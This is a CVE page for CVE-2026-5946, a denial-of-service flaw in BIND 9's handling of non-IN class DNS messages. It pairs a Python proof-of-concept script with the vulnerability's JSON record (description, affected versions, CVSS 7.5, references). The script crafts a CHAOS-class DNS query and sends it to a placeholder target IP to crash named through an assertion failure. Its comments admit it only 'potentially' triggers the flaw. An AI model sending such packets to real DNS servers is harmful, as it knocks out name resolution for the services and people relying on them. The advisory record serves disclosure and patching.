CVE-2026-5946

# PoC for CVE-2026-5946: BIND 9 Non-IN Class Handling DoS # This script sends a crafted DNS query with a CHAOS class to potentially trigger the assertion failure. import socket import struct def craft_dns_packet(): # DNS Header: Transaction ID, Flags, Questions, Answer RRs, Authority RRs, Additional RRs # ID=0x1337, Flags=0x0100 (Recursion Desired), QDCOUNT=1 header = struct.pack('!HHHHHH', 0x1337, 0x0100, 1, 0, 0, 0) # Question Section: Name, Type, Class # Name: "." (root) in DNS format (0x00) # Type: A (1) # Class: CHAOS (3) instead of IN (1) to potentially trigger the flaw question = b'\x00' + struct.pack('!HH', 1, 3) return header + question def send_poc(target_ip, target_port=53): try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) packet = craft_dns_packet() sock.sendto(packet, (target_ip, target_port)) print(f"[+] PoC packet sent to {target_ip}:{target_port}") print("[+] Check if the BIND service has crashed or logged an assertion failure.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP send_poc(target)

{"cve": {"id": "CVE-2026-5946", "sourceIdentifier": "[email protected]", "published": "2026-05-20T13:16:40.157", "lastModified": "2026-05-20T14:04:57.320", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple flaws have been identified in `named` related to the handling of DNS messages whose CLASS is not Internet (`IN`) — for example, `CHAOS` or `HESIOD`, or DNS messages that specify meta-classes (`ANY` or `NONE`) in the question section. Specially crafted requests reaching the affected code paths — recursion, dynamic updates (`UPDATE`), zone change notifications (`NOTIFY`), or processing of `IN`-specific record types in non-`IN` data — can cause assertion failures in `named`.\nThis issue affects BIND 9 versions 9.11.0 through 9.16.50, 9.18.0 through 9.18.48, 9.20.0 through 9.20.22, 9.21.0 through 9.21.21, 9.11.3-S1 through 9.16.50-S1, 9.18.11-S1 through 9.18.48-S1, and 9.20.9-S1 through 9.20.22-S1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-617"}, {"lang": "en", "value": "CWE-754"}, {"lang": "en", "value": "CWE-843"}]}], "references": [{"url": "https://downloads.isc.org/isc/bind9/9.18.49", "source": "[email protected]"}, {"url": "https://downloads.isc.org/isc/bind9/9.20.23", "source": "[email protected]"}, {"url": "https://downloads.isc.org/isc/bind9/9.21.22", "source": "[email protected]"}, {"url": "https://kb.isc.org/docs/cve-2026-5946", "source": "[email protected]"}]}}